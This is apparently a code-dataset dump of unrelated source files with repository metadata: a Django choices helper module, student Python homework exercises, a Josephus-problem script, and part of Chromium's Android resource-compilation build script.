for i in range(1, len(badIdx)):
s0 = s[badIdx[i-1] + 1: badIdx[i]]
if len(s0) != 0:
newStrs.append(s0)
maxLen = 0
for s1 in newStrs:
maxLen = max(maxLen, self.divideRecursive(s1, k))
return maxLen
if __name__ == "__main__":
s = Solution()
s0 = "ababbc"
k = 2
print(s.longestSubstring(s0, k)) | [
"ziheng_song@126.com"
] | ziheng_song@126.com |
738462812ea73a23745bc0c307d24cb2fdd2bd41 | 677189954b8efda10f743a22a5758707ee0d6862 | /extended_choices/helpers.py | c4f69af697b712b73afb3702ae804bd9278885e2 | [
"BSD-3-Clause"
] | permissive | areski/django-extended-choices | 5526aa43f2d562ac95be2db5e2f18d8352d5021e | ec7f8b23509174623e04a1c1d0d3832bd4c0d7fe | refs/heads/master | 2021-01-21T03:16:07.006461 | 2015-10-14T21:20:06 | 2015-10-14T21:20:06 | 47,980,892 | 0 | 0 | null | 2015-12-14T14:45:50 | 2015-12-14T14:45:50 | null | UTF-8 | Python | false | false | 10,205 | py | """Provides classes used to construct a full ``Choices`` instance.
Notes
-----
The documentation format in this file is numpydoc_.
.. _numpydoc: https://github.com/numpy/numpy/blob/master/doc/HOWTO_DOCUMENT.rst.txt
"""
from __future__ import unicode_literals
from builtins import object
try:
import cPickle as pickle
except ImportError:
import pickle
from django.utils.functional import Promise
class ChoiceAttributeMixin(object):
"""Base class to represent an attribute of a ``ChoiceEntry``.
Used for ``constant``, ``name``, and ``display``.
It must be used as a mixin with another type, and the final class will be a type with
added attributes to access the ``ChoiceEntry`` instance and its attributes.
Attributes
----------
choice_entry : instance of ``ChoiceEntry``
The ``ChoiceEntry`` instance that hold the current value, used to access its constant,
value and display name.
constant : property
Returns the choice field holding the constant of the attached ``ChoiceEntry``.
value : property
Returns the choice field holding the value of the attached ``ChoiceEntry``.
display : property
Returns the choice field holding the display name of the attached ``ChoiceEntry``.
original_type : type (class attribute)
The class of the value used to create a new class.
creator_type : type
The class that created a new class. Will be ``ChoiceAttributeMixin`` except if it was
overridden by the author.
Example
-------
Classes can be created manually:
>>> class IntChoiceAttribute(ChoiceAttributeMixin, int): pass
>>> field = IntChoiceAttribute(1, ChoiceEntry(('FOO', 1, 'foo')))
>>> field
1
>>> field.constant, field.value, field.display
(u'FOO', 1, u'foo')
>>> field.choice_entry
(u'FOO', 1, u'foo')
Or via the ``get_class_for_value`` class method:
>>> klass = ChoiceAttributeMixin.get_class_for_value(1.5)
>>> klass.__name__
'FloatChoiceAttribute'
>>> float in klass.mro()
True
"""
def __new__(cls, *args, **kwargs):
"""Construct the object (the other class used with this mixin).
Notes
-----
Only passes the very first argument to the ``super`` constructor.
All others are not needed for the other class, only for this mixin.
"""
if issubclass(cls, Promise):
# Special case to manage lazy django stuff like ugettext_lazy
return super(ChoiceAttributeMixin, cls).__new__(cls)
return super(ChoiceAttributeMixin, cls).__new__(cls, *args[:1])
def __init__(self, value, choice_entry):
"""Initiate the object to save the value and the choice entry.
Parameters
----------
value : ?
Value to pass to the ``super`` constructor (for the other class using this mixin)
choice_entry: ChoiceEntry
The ``ChoiceEntry`` instance that hold the current value, used to access its constant,
value and display name.
Notes
-----
Call the ``super`` constructor with only the first value, as the other class doesn't
expect the ``choice_entry`` parameter.
"""
if isinstance(self, Promise):
# Special case to manage lazy django stuff like ugettext_lazy
super(ChoiceAttributeMixin, self).__init__(value._proxy____args, value._proxy____kw)
else:
super(ChoiceAttributeMixin, self).__init__()
self.choice_entry = choice_entry
@property
def constant(self):
"""Property that returns the ``constant`` attribute of the attached ``ChoiceEntry``."""
return self.choice_entry.constant
@property
def value(self):
"""Property that returns the ``value`` attribute of the attached ``ChoiceEntry``."""
return self.choice_entry.value
@property
def display(self):
"""Property that returns the ``display`` attribute of the attached ``ChoiceEntry``."""
return self.choice_entry.display
@property
def original_value(self):
"""Return the original value used to create the current instance."""
return self.original_type(self)
@classmethod
def get_class_for_value(cls, value):
"""Class method to construct a class based on this mixin and the type of the given value.
Parameters
----------
value: ?
The value from which to extract the type to create the new class.
Notes
-----
The create classes are cached (in ``cls.__classes_by_type``) to avoid recreating already
created classes.
"""
type_ = value.__class__
# Check if the type is already a ``ChoiceAttribute``
if issubclass(type_, ChoiceAttributeMixin):
# In this case we can return this type
return type_
# Create a new class only if it wasn't already created for this type.
if type_ not in cls._classes_by_type:
# Compute the name of the class with the name of the type.
class_name = str('%sChoiceAttribute' % type_.__name__.capitalize())
# Create a new class and save it in the cache.
cls._classes_by_type[type_] = type(class_name, (cls, type_), {
'original_type': type_,
'creator_type': cls,
})
# Return the class from the cache based on the type.
return cls._classes_by_type[type_]
def __reduce__(self):
"""Reducer to make the auto-created classes picklable.
Returns
-------
tuple
A tuple as expected by pickle, to recreate the object when calling ``pickle.loads``:
1. a callable to recreate the object
2. a tuple with all positioned arguments expected by this callable
"""
return (
# Function to create a choice attribute
create_choice_attribute,
(
# The class that created the class of the current value
self.creator_type,
# The original type of the current value
self.original_value,
# The tied `choice_entry`
self.choice_entry
)
)
_classes_by_type = {}
def create_choice_attribute(creator_type, value, choice_entry):
"""Create an instance of a subclass of ChoiceAttributeMixin for the given value.
Parameters
----------
creator_type : type
``ChoiceAttributeMixin`` or a subclass, from which we'll call the ``get_class_for_value``
class-method.
value : ?
The value for which we want to create an instance of a new subclass of ``creator_type``.
choice_entry: ChoiceEntry
The ``ChoiceEntry`` instance that hold the current value, used to access its constant,
value and display name.
Returns
-------
ChoiceAttributeMixin
An instance of a subclass of ``creator_type`` for the given value
"""
klass = creator_type.get_class_for_value(value)
return klass(value, choice_entry)
class ChoiceEntry(tuple):
"""Represents a choice in a ``Choices`` object, with easy access to its attribute.
Expecting a tuple with three entries. (constant, value, display name), it will add three
attributes to access then: ``constant``, ``value`` and ``display``.
By passing a dict after these three first entries, in the tuple, it's alose possible to
add some other attributes to the ``ChoiceEntry` instance``.
Parameters
----------
tuple_ : tuple
A tuple with three entries, the name of the constant, the value, and the display name.
A dict could be added as a fourth entry to add additional attributes.
Example
-------
>>> entry = ChoiceEntry(('FOO', 1, 'foo'))
>>> entry
(u'FOO', 1, u'foo')
>>> (entry.constant, entry.value, entry.display)
(u'FOO', 1, u'foo')
>>> entry.choice
(1, u'foo')
You can also pass attributes to add to the instance to create:
>>> entry = ChoiceEntry(('FOO', 1, 'foo', {'bar': 1, 'baz': 2}))
>>> entry
(u'FOO', 1, u'foo')
>>> entry.bar
1
>>> entry.baz
2
Raises
------
AssertionError
If the number of entries in the tuple is not expected. Must be 3 or 4.
"""
# Allow to easily change the mixin to use in subclasses.
ChoiceAttributeMixin = ChoiceAttributeMixin
def __new__(cls, tuple_):
"""Construct the tuple with 3 entries, and save optional attributes from the 4th one."""
# Ensure we have exactly 3 entries in the tuple and an optional dict.
assert 3 <= len(tuple_) <= 4, 'Invalid number of entries in %s' % (tuple_,)
# Call the ``tuple`` constructor with only the real tuple entries.
obj = super(ChoiceEntry, cls).__new__(cls, tuple_[:3])
# Save all special attributes.
obj.constant = obj._get_choice_attribute(tuple_[0])
obj.value = obj._get_choice_attribute(tuple_[1])
obj.display = obj._get_choice_attribute(tuple_[2])
# Add an attribute holding values as expected by django.
obj.choice = (obj.value, obj.display)
# Add additional attributes.
if len(tuple_) == 4:
for key, value in tuple_[3].items():
setattr(obj, key, value)
return obj
def _get_choice_attribute(self, value):
"""Get a choice attribute for the given value.
Parameters
----------
value: ?
The value for which we want a choice attribute.
Returns
-------
An instance of a class based on ``ChoiceAttributeMixin`` for the given value.
Raises
------
ValueError
If the value is None, as we cannot really subclass NoneType.
"""
if value is None:
raise ValueError('Using `None` in a `Choices` object is not supported. You may '
'use an empty string.')
return create_choice_attribute(self.ChoiceAttributeMixin, value, self)
| [
"s.angel@twidi.com"
] | s.angel@twidi.com |
8d9d148953206e97e3b9e765ea30a82e1f309b3c | b52781b9065f6c571beb1b87cc1bbe2bd121d272 | /homework02-2.py | ec526d0046c8919a827e61fc4c767ff2980b0b1d | [
"Apache-2.0"
] | permissive | liuhuihui123/liuhuihui | 97e4182bb2003b95d1236f8f8e108215beaa9dfa | 5dfa7b6ba7bc752edc48e981dd71f81017d3b673 | refs/heads/master | 2020-03-29T18:06:07.971173 | 2018-10-12T01:28:21 | 2018-10-12T01:28:21 | 150,194,561 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,844 | py | '''#1
import math
a, b, c = eval(raw_input("Enter a, b, c:"))
n = b*b-4*a*c
if (n>0):
r1 =( -b + math.sqrt(b*b-4*a*c))/2*a
r2 =( -b - math.sqrt(b*b-4*a*c))/2*a
print(r1 , r2)
elif (n==0):
r1 =( -b + math.sqrt(b*b-4*a*c))/2*a
r2 =( -b - math.sqrt(b*b-4*a*c))/2*a
r1 = r2
print(r1)
if (n<0) :
print("The equation has no real roots")
'''
'''#2
import random
n1=random.randint(1,100)
n2=random.randint(1,100)
n=n1+n2
num = raw_input(("qing shu ru shang mian de lia ge shu zhi he:"))
if num == n:
print("True")
else:
print("False")
print(n)
'''
'''#3
today = eval (raw_input("jin tian shi :"))
day = eval(raw_input("guo le ji tian :"))
week = (today+day)%7
if week == 0:
print("jin tian shi {} and the future day is Sunday".format(today))
elif week == 1:
print("jin tian shi {} and the future day is Monday".format(today))
elif week == 2:
print("jin tian shi {} and the future day is Tuesday".format(today))
elif week == 3:
print("jin tian shi {} and the future day is Wendnesday".format(today))
elif week == 4:
print("jin tian shi {} and the future day is Thurday".format(today))
elif week == 5:
print("jin tian shi {} and the future day is Firday".format(today))
'''
'''#4
print("qing shu ru san ge zheng shu :")
x = eval(raw_input(">>"))
y = eval(raw_input(">>"))
z = eval(raw_input(">>"))
if x>y:
x,y = y,x
if x>z:
x,z = z,x
if y>z:
y,z = z,y
print(x,y,z)
'''
'''#5
w1,p1 = eval(raw_input('Enter weight and price for package 1"'))
w2,p2 = eval(raw_input('Enter weight and price for package 2"'))
baozhuang1 = p1 / w1
baozhuang2 = p2 / w2
if baozhuang1 < baozhuang2:
print('package 1 has the better price')
elif baozhuang1 >baozhuang2:
print('package 2 has the better price')
else:
print('package 1 the same as package 2')
'''
'''#6
month ,year = eval(raw_input("shu ru month and years:"))
a = 0
if(a){
case 1:
case 3:
case 5:
case 7:
case 8:
case 10:
case 12 :print("31\n");break
case 2:if (year%4==0 and year%100!=0 | year%400==0):
a=29
else:
a=28
case 4:
case 6:
case 9:
case 11:print("30\n");
}
print(a)
'''
'''#7
import random
yingbi = eval(raw_input("cha shi zhengmian(1) huanshi fanmian(0):"))
n = random.randint(0,1)
if (n == 1):
print('True')
if n==0:
print('False')
'''
'''#11
num = eval(raw_input("shu ru yi ge san wei shu:"))
bai = num /100
shi = num/10%10
ge = num % 10
if bai == ge:
print("{} is a pailndrome".format(num))
else:
print("{} is not a pailndrome".format(num))
'''
'''#12
a,b,c = eval(raw_input("shu ru san jiao xing de san ge bian:"))
zc = a+b+c
if (a+b>c):
print("The perimeter is {}".format(zc))
else:
print("shu ru fei fa")
'''
| [
"root@localhost.localdomain"
] | root@localhost.localdomain |
9687778c402ee8e82a0755b2f05fcccedc652e9c | 747afe9a5915c28831b86b0a5e2c044212664da5 | /20170908/lyrichu_20170908_02.py | c61772bc56e104218c145a6deb05cb7f8116d16d | [] | no_license | nitinreddy3/Python-Machine-Learning-Homework | 61c7b882b49e868ca37443feaa89494d5b6eba4a | b088bdcdb24892260e1db416d50f0750872e80bc | refs/heads/master | 2021-07-17T04:42:12.233768 | 2017-10-23T15:29:24 | 2017-10-23T15:29:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,303 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2017/9/8 17:55
# @Author : Lyrichu
# @Email : 919987476@qq.com
# @File : lyrichu_20170908_02.py
'''
@Description:
2、100个人围成一圈，编号从1开始到100.从1开始报数，报到M的人自动退出，下一个人接着从1开始报数，直到剩余人数小于M。求最后剩余人的编号。
样例输入：
3
样例输出：
58 91
样例输入2：
4
样例输出2：
34 45 97
'''
m = int(raw_input())
restNum = 100 # 剩余人数
indexNumberList = [[i,(i-1)%m + 1] for i in range(1,restNum+1)] # [学生序号,列表] 组成的列表
lastNumber = m if restNum % m == 0 else restNum % m # 最后一个学生的报数
while(restNum >= m):
indexNumberList = [v for v in indexNumberList if v[1] != m] # 删除报数为 m的学生
indexNumberList[0][1] = 1 if lastNumber+1>m else lastNumber+1 # 学生报数m之后，下一个为1
restNum = len(indexNumberList) # 更新剩余人数
# 逐个报数
for i in range(restNum-1):
indexNumberList[i+1][1] = indexNumberList[i][1] + 1
if(indexNumberList[i+1][1] > m):
indexNumberList[i+1][1] = 1
lastNumber = indexNumberList[-1][1] # 记录最后一个人的报数
print(" ".join(map(lambda x:str(x),[v[0] for v in indexNumberList])))
| [
"919987476@qq.com"
] | 919987476@qq.com |
53736c845010ca9ab5541f5868401ff5198989c3 | c8e6cf760a78ec45dbc2d3b6452e352d12da1f43 | /build/android/gyp/compile_resources.py | a40864b8c3e4aa1f405d00e52b7c2a1ecf967b08 | [
"BSD-3-Clause"
] | permissive | tojoyccnu/chromium | 15479d1d9e8159d5eecd61571d33effa78e573b7 | 8cba72403a712767289acb2c7cd06d1116db42cc | refs/heads/master | 2023-03-04T11:55:25.131615 | 2018-06-26T13:34:07 | 2018-06-26T13:34:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24,111 | py | #!/usr/bin/env python
#
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Compile Android resources into an intermediate APK.
This can also generate an R.txt, and an .srcjar file containing the proper
final R.java class for all resource packages the APK depends on.
This will crunch images with aapt2.
"""
import argparse
import collections
import multiprocessing.pool
import os
import re
import shutil
import subprocess
import sys
import zipfile
from xml.etree import ElementTree
from util import build_utils
from util import resource_utils
_SOURCE_ROOT = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(
__file__))))
# Import jinja2 from third_party/jinja2
sys.path.insert(1, os.path.join(_SOURCE_ROOT, 'third_party'))
from jinja2 import Template # pylint: disable=F0401
# Pngs that we shouldn't convert to webp. Please add rationale when updating.
_PNG_WEBP_BLACKLIST_PATTERN = re.compile('|'.join([
# Crashes on Galaxy S5 running L (https://crbug.com/807059).
r'.*star_gray\.png',
# Android requires pngs for 9-patch images.
r'.*\.9\.png',
# Daydream requires pngs for icon files.
r'.*daydream_icon_.*\.png']))
# Regular expression for package declaration in 'aapt dump resources' output.
_RE_PACKAGE_DECLARATION = re.compile(
r'^Package Group ([0-9]+) id=0x([0-9a-fA-F]+)')
def _PackageIdArgument(x):
"""Convert a string into a package ID while checking its range.
Args:
x: argument string.
Returns:
the package ID as an int, or -1 in case of error.
"""
try:
x = int(x, 0)
if x < 0 or x > 127:
x = -1
except ValueError:
x = -1
return x
def _ParseArgs(args):
"""Parses command line options.
Returns:
An options object as from argparse.ArgumentParser.parse_args()
"""
parser, input_opts, output_opts = resource_utils.ResourceArgsParser()
input_opts.add_argument('--android-manifest', required=True,
help='AndroidManifest.xml path')
input_opts.add_argument(
'--shared-resources',
action='store_true',
help='Make all resources in R.java non-final and allow the resource IDs '
'to be reset to a different package index when the apk is loaded by '
'another application at runtime.')
input_opts.add_argument(
'--app-as-shared-lib',
action='store_true',
help='Same as --shared-resources, but also ensures all resource IDs are '
'directly usable from the APK loaded as an application.')
input_opts.add_argument(
'--shared-resources-whitelist',
help='An R.txt file acting as a whitelist for resources that should be '
'non-final and have their package ID changed at runtime in R.java. '
'Implies and overrides --shared-resources.')
input_opts.add_argument('--proto-format', action='store_true',
help='Compile resources to protocol buffer format.')
input_opts.add_argument('--support-zh-hk', action='store_true',
help='Use zh-rTW resources for zh-rHK.')
input_opts.add_argument('--debuggable',
action='store_true',
help='Whether to add android:debuggable="true"')
input_opts.add_argument('--version-code', help='Version code for apk.')
input_opts.add_argument('--version-name', help='Version name for apk.')
input_opts.add_argument(
'--no-compress',
help='disables compression for the given comma-separated list of '
'extensions')
input_opts.add_argument(
'--locale-whitelist',
default='[]',
help='GN list of languages to include. All other language configs will '
'be stripped out. List may include a combination of Android locales '
'or Chrome locales.')
input_opts.add_argument('--exclude-xxxhdpi', action='store_true',
help='Do not include xxxhdpi drawables.')
input_opts.add_argument(
'--xxxhdpi-whitelist',
default='[]',
help='GN list of globs that say which xxxhdpi images to include even '
'when --exclude-xxxhdpi is set.')
input_opts.add_argument('--png-to-webp', action='store_true',
help='Convert png files to webp format.')
input_opts.add_argument('--webp-binary', default='',
help='Path to the cwebp binary.')
input_opts.add_argument('--no-xml-namespaces',
action='store_true',
help='Whether to strip xml namespaces from processed '
'xml resources')
input_opts.add_argument(
'--check-resources-pkg-id', type=_PackageIdArgument,
help='Check the package ID of the generated resources table. '
'Value must be integer in [0..127] range.')
output_opts.add_argument('--apk-path', required=True,
help='Path to output (partial) apk.')
output_opts.add_argument('--apk-info-path', required=True,
help='Path to output info file for the partial apk.')
output_opts.add_argument('--srcjar-out',
help='Path to srcjar to contain generated R.java.')
output_opts.add_argument('--r-text-out',
help='Path to store the generated R.txt file.')
output_opts.add_argument('--proguard-file',
help='Path to proguard.txt generated file')
output_opts.add_argument(
'--proguard-file-main-dex',
help='Path to proguard.txt generated file for main dex')
options = parser.parse_args(args)
resource_utils.HandleCommonOptions(options)
options.locale_whitelist = build_utils.ParseGnList(options.locale_whitelist)
options.xxxhdpi_whitelist = build_utils.ParseGnList(options.xxxhdpi_whitelist)
if options.check_resources_pkg_id is not None:
if options.check_resources_pkg_id < 0:
raise Exception(
'Package resource id should be integer in [0..127] range.')
if options.shared_resources and options.app_as_shared_lib:
raise Exception('Only one of --app-as-shared-lib or --shared-resources '
'can be used.')
return options
def _ExtractPackageIdFromApk(apk_path, aapt_path):
"""Extract the package ID of a given APK (even intermediate ones).
Args:
apk_path: Input apk path.
aapt_path: Path to aapt tool.
Returns:
An integer corresponding to the APK's package id.
Raises:
Exception if there is no resources table in the input file.
"""
cmd_args = [ aapt_path, 'dump', 'resources', apk_path ]
output = build_utils.CheckOutput(cmd_args)
for line in output.splitlines():
m = _RE_PACKAGE_DECLARATION.match(line)
if m:
return int(m.group(2), 16)
raise Exception("No resources in this APK!")
def _SortZip(original_path, sorted_path):
"""Generate new zip archive by sorting all files in the original by name."""
with zipfile.ZipFile(sorted_path, 'w') as sorted_zip, \
zipfile.ZipFile(original_path, 'r') as original_zip:
for info in sorted(original_zip.infolist(), key=lambda i: i.filename):
sorted_zip.writestr(info, original_zip.read(info))
def _DuplicateZhResources(resource_dirs):
"""Duplicate Taiwanese resources into Hong-Kong specific directory."""
renamed_paths = dict()
for resource_dir in resource_dirs:
# We use zh-TW resources for zh-HK (if we have zh-TW resources).
for path in build_utils.IterFiles(resource_dir):
if 'zh-rTW' in path:
hk_path = path.replace('zh-rTW', 'zh-rHK')
build_utils.MakeDirectory(os.path.dirname(hk_path))
shutil.copyfile(path, hk_path)
renamed_paths[os.path.relpath(hk_path, resource_dir)] = os.path.relpath(
path, resource_dir)
return renamed_paths
def _ToAaptLocales(locale_whitelist, support_zh_hk):
"""Converts the list of Chrome locales to aapt config locales."""
ret = set()
for locale in locale_whitelist:
locale = resource_utils.CHROME_TO_ANDROID_LOCALE_MAP.get(locale, locale)
if locale is None or ('-' in locale and '-r' not in locale):
raise Exception('CHROME_TO_ANDROID_LOCALE_MAP needs updating.'
' Found: %s' % locale)
ret.add(locale)
# Always keep non-regional fall-backs.
language = locale.split('-')[0]
ret.add(language)
# We don't actually support zh-HK in Chrome on Android, but we mimic the
# native side behavior where we use zh-TW resources when the locale is set to
# zh-HK. See https://crbug.com/780847.
if support_zh_hk:
assert not any('HK' in l for l in locale_whitelist), (
'Remove special logic if zh-HK is now supported (crbug.com/780847).')
ret.add('zh-rHK')
return sorted(ret)
def _MoveImagesToNonMdpiFolders(res_root):
"""Move images from drawable-*-mdpi-* folders to drawable-* folders.
Why? http://crbug.com/289843
"""
renamed_paths = dict()
for src_dir_name in os.listdir(res_root):
src_components = src_dir_name.split('-')
if src_components[0] != 'drawable' or 'mdpi' not in src_components:
continue
src_dir = os.path.join(res_root, src_dir_name)
if not os.path.isdir(src_dir):
continue
dst_components = [c for c in src_components if c != 'mdpi']
assert dst_components != src_components
dst_dir_name = '-'.join(dst_components)
dst_dir = os.path.join(res_root, dst_dir_name)
build_utils.MakeDirectory(dst_dir)
for src_file_name in os.listdir(src_dir):
if not os.path.splitext(src_file_name)[1] in ('.png', '.webp'):
continue
src_file = os.path.join(src_dir, src_file_name)
dst_file = os.path.join(dst_dir, src_file_name)
assert not os.path.lexists(dst_file)
shutil.move(src_file, dst_file)
renamed_paths[os.path.relpath(dst_file, res_root)] = os.path.relpath(
src_file, res_root)
return renamed_paths
def _CreateLinkApkArgs(options):
"""Create command-line arguments list to invoke 'aapt2 link'.
Args:
options: The command-line options tuple.
Returns:
A list of strings corresponding to the command-line invokation for
the command, matching the arguments from |options|.
"""
link_command = [
options.aapt_path + '2',
'link',
'--version-code', options.version_code,
'--version-name', options.version_name,
'--auto-add-overlay',
'--no-version-vectors',
'-o', options.apk_path,
]
for j in options.android_sdk_jars:
link_command += ['-I', j]
if options.proguard_file:
link_command += ['--proguard', options.proguard_file]
if options.proguard_file_main_dex:
link_command += ['--proguard-main-dex', options.proguard_file_main_dex]
if options.no_compress:
for ext in options.no_compress.split(','):
link_command += ['-0', ext]
# Note: only one of --proto-format, --shared-lib or --app-as-shared-lib
# can be used with recent versions of aapt2.
if options.proto_format:
link_command.append('--proto-format')
elif options.shared_resources:
link_command.append('--shared-lib')
if options.locale_whitelist:
aapt_locales = _ToAaptLocales(
options.locale_whitelist, options.support_zh_hk)
link_command += ['-c', ','.join(aapt_locales)]
if options.no_xml_namespaces:
link_command.append('--no-xml-namespaces')
return link_command
def _ExtractVersionFromSdk(aapt_path, sdk_path):
"""Extract version code and name from Android SDK .jar file.
Args:
aapt_path: Path to 'aapt' build tool.
sdk_path: Path to SDK-specific android.jar file.
Returns:
A (version_code, version_name) pair of strings.
"""
output = build_utils.CheckOutput(
[aapt_path, 'dump', 'badging', sdk_path],
print_stdout=False, print_stderr=False)
version_code = re.search(r"versionCode='(.*?)'", output).group(1)
version_name = re.search(r"versionName='(.*?)'", output).group(1)
return version_code, version_name,
def _FixManifest(options, temp_dir):
"""Fix the APK's AndroidManifest.xml.
This adds any missing namespaces for 'android' and 'tools', and
sets certains elements like 'platformBuildVersionCode' or
'android:debuggable' depending on the content of |options|.
Args:
options: The command-line arguments tuple.
temp_dir: A temporary directory where the fixed manifest will be written to.
Returns:
Path to the fixed manifest within |temp_dir|.
"""
debug_manifest_path = os.path.join(temp_dir, 'AndroidManifest.xml')
_ANDROID_NAMESPACE = 'http://schemas.android.com/apk/res/android'
_TOOLS_NAMESPACE = 'http://schemas.android.com/tools'
ElementTree.register_namespace('android', _ANDROID_NAMESPACE)
ElementTree.register_namespace('tools', _TOOLS_NAMESPACE)
original_manifest = ElementTree.parse(options.android_manifest)
def maybe_extract_version(j):
try:
return _ExtractVersionFromSdk(options.aapt_path, j)
except build_utils.CalledProcessError:
return None
extract_all = [maybe_extract_version(j) for j in options.android_sdk_jars]
successful_extractions = [x for x in extract_all if x]
if len(successful_extractions) == 0:
raise Exception(
'Unable to find android SDK jar among candidates: %s'
% ', '.join(options.android_sdk_jars))
elif len(successful_extractions) > 1:
raise Exception(
'Found multiple android SDK jars among candidates: %s'
% ', '.join(options.android_sdk_jars))
version_code, version_name = successful_extractions.pop()
# ElementTree.find does not work if the required tag is the root.
if original_manifest.getroot().tag == 'manifest':
manifest_node = original_manifest.getroot()
else:
manifest_node = original_manifest.find('manifest')
manifest_node.set('platformBuildVersionCode', version_code)
manifest_node.set('platformBuildVersionName', version_name)
if options.debuggable:
app_node = original_manifest.find('application')
app_node.set('{%s}%s' % (_ANDROID_NAMESPACE, 'debuggable'), 'true')
with open(debug_manifest_path, 'w') as debug_manifest:
debug_manifest.write(ElementTree.tostring(
original_manifest.getroot(), encoding='UTF-8'))
return debug_manifest_path
def _ResourceNameFromPath(path):
return os.path.splitext(os.path.basename(path))[0]
def _CreateKeepPredicate(resource_dirs, exclude_xxxhdpi, xxxhdpi_whitelist):
"""Return a predicate lambda to determine which resource files to keep."""
if not exclude_xxxhdpi:
# Do not extract dotfiles (e.g. ".gitkeep"). aapt ignores them anyways.
return lambda path: os.path.basename(path)[0] != '.'
# Returns False only for xxxhdpi non-mipmap, non-whitelisted drawables.
naive_predicate = lambda path: (
not re.search(r'[/-]xxxhdpi[/-]', path) or
re.search(r'[/-]mipmap[/-]', path) or
build_utils.MatchesGlob(path, xxxhdpi_whitelist))
# Build a set of all non-xxxhdpi drawables to ensure that we never exclude any
# xxxhdpi drawable that does not exist in other densities.
non_xxxhdpi_drawables = set()
for resource_dir in resource_dirs:
for path in build_utils.IterFiles(resource_dir):
if re.search(r'[/-]drawable[/-]', path) and naive_predicate(path):
non_xxxhdpi_drawables.add(_ResourceNameFromPath(path))
return lambda path: (naive_predicate(path) or
_ResourceNameFromPath(path) not in non_xxxhdpi_drawables)
def _ConvertToWebP(webp_binary, png_files):
renamed_paths = dict()
pool = multiprocessing.pool.ThreadPool(10)
def convert_image(png_path_tuple):
png_path, original_dir = png_path_tuple
root = os.path.splitext(png_path)[0]
webp_path = root + '.webp'
args = [webp_binary, png_path, '-mt', '-quiet', '-m', '6', '-q', '100',
'-lossless', '-o', webp_path]
subprocess.check_call(args)
os.remove(png_path)
renamed_paths[os.path.relpath(webp_path, original_dir)] = os.path.relpath(
png_path, original_dir)
pool.map(convert_image, [f for f in png_files
if not _PNG_WEBP_BLACKLIST_PATTERN.match(f[0])])
pool.close()
pool.join()
return renamed_paths
def _CompileDeps(aapt_path, dep_subdirs, temp_dir):
partials_dir = os.path.join(temp_dir, 'partials')
build_utils.MakeDirectory(partials_dir)
partial_compile_command = [
aapt_path + '2',
'compile',
# TODO(wnwen): Turn this on once aapt2 forces 9-patch to be crunched.
# '--no-crunch',
]
pool = multiprocessing.pool.ThreadPool(10)
def compile_partial(directory):
dirname = os.path.basename(directory)
partial_path = os.path.join(partials_dir, dirname + '.zip')
compile_command = (partial_compile_command +
['--dir', directory, '-o', partial_path])
build_utils.CheckOutput(compile_command)
# Sorting the files in the partial ensures deterministic output from the
# aapt2 link step which uses order of files in the partial.
sorted_partial_path = os.path.join(partials_dir, dirname + '.sorted.zip')
_SortZip(partial_path, sorted_partial_path)
return sorted_partial_path
partials = pool.map(compile_partial, dep_subdirs)
pool.close()
pool.join()
return partials
def _CreateResourceInfoFile(
renamed_paths, apk_info_path, dependencies_res_zips):
lines = set()
for zip_file in dependencies_res_zips:
zip_info_file_path = zip_file + '.info'
if os.path.exists(zip_info_file_path):
with open(zip_info_file_path, 'r') as zip_info_file:
lines.update(zip_info_file.readlines())
for dest, source in renamed_paths.iteritems():
lines.add('Rename:{},{}\n'.format(dest, source))
with open(apk_info_path, 'w') as info_file:
info_file.writelines(sorted(lines))
def _PackageApk(options, dep_subdirs, temp_dir, gen_dir, r_txt_path):
"""Compile resources with aapt2 and generate intermediate .ap_ file.
Args:
options: The command-line options tuple. E.g. the generated apk
will be written to |options.apk_path|.
dep_subdirs: The list of directories where dependency resource zips
were extracted (its content will be altered by this function).
temp_dir: A temporary directory.
gen_dir: Another temp directory where some intermediate files are
generated.
r_txt_path: The path where the R.txt file will written to.
"""
renamed_paths = dict()
renamed_paths.update(_DuplicateZhResources(dep_subdirs))
keep_predicate = _CreateKeepPredicate(
dep_subdirs, options.exclude_xxxhdpi, options.xxxhdpi_whitelist)
png_paths = []
for directory in dep_subdirs:
for f in build_utils.IterFiles(directory):
if not keep_predicate(f):
os.remove(f)
elif f.endswith('.png'):
png_paths.append((f, directory))
if png_paths and options.png_to_webp:
renamed_paths.update(_ConvertToWebP(options.webp_binary, png_paths))
for directory in dep_subdirs:
renamed_paths.update(_MoveImagesToNonMdpiFolders(directory))
link_command = _CreateLinkApkArgs(options)
link_command += ['--output-text-symbols', r_txt_path]
# TODO(digit): Is this below actually required for R.txt generation?
link_command += ['--java', gen_dir]
fixed_manifest = _FixManifest(options, temp_dir)
link_command += ['--manifest', fixed_manifest]
partials = _CompileDeps(options.aapt_path, dep_subdirs, temp_dir)
for partial in partials:
link_command += ['-R', partial]
# Creates a .zip with AndroidManifest.xml, resources.arsc, res/*
# Also creates R.txt
build_utils.CheckOutput(
link_command, print_stdout=False, print_stderr=False)
_CreateResourceInfoFile(
renamed_paths, options.apk_info_path, options.dependencies_res_zips)
def _WriteFinalRTxtFile(options, aapt_r_txt_path):
"""Determine final R.txt and return its location.
This handles --r-text-in and --r-text-out options at the same time.
Args:
options: The command-line options tuple.
aapt_r_txt_path: The path to the R.txt generated by aapt.
Returns:
Path to the final R.txt file.
"""
if options.r_text_in:
r_txt_file = options.r_text_in
else:
# When an empty res/ directory is passed, aapt does not write an R.txt.
r_txt_file = aapt_r_txt_path
if not os.path.exists(r_txt_file):
build_utils.Touch(r_txt_file)
if options.r_text_out:
shutil.copyfile(r_txt_file, options.r_text_out)
return r_txt_file
def _OnStaleMd5(options):
with resource_utils.BuildContext() as build:
dep_subdirs = resource_utils.ExtractDeps(options.dependencies_res_zips,
build.deps_dir)
_PackageApk(options, dep_subdirs, build.temp_dir, build.gen_dir,
build.r_txt_path)
r_txt_path = _WriteFinalRTxtFile(options, build.r_txt_path)
package = resource_utils.ExtractPackageFromManifest(
options.android_manifest)
# If --shared-resources-whitelist is used, the all resources listed in
# the corresponding R.txt file will be non-final, and an onResourcesLoaded()
# will be generated to adjust them at runtime.
#
# Otherwise, if --shared-resources is used, the all resources will be
# non-final, and an onResourcesLoaded() method will be generated too.
#
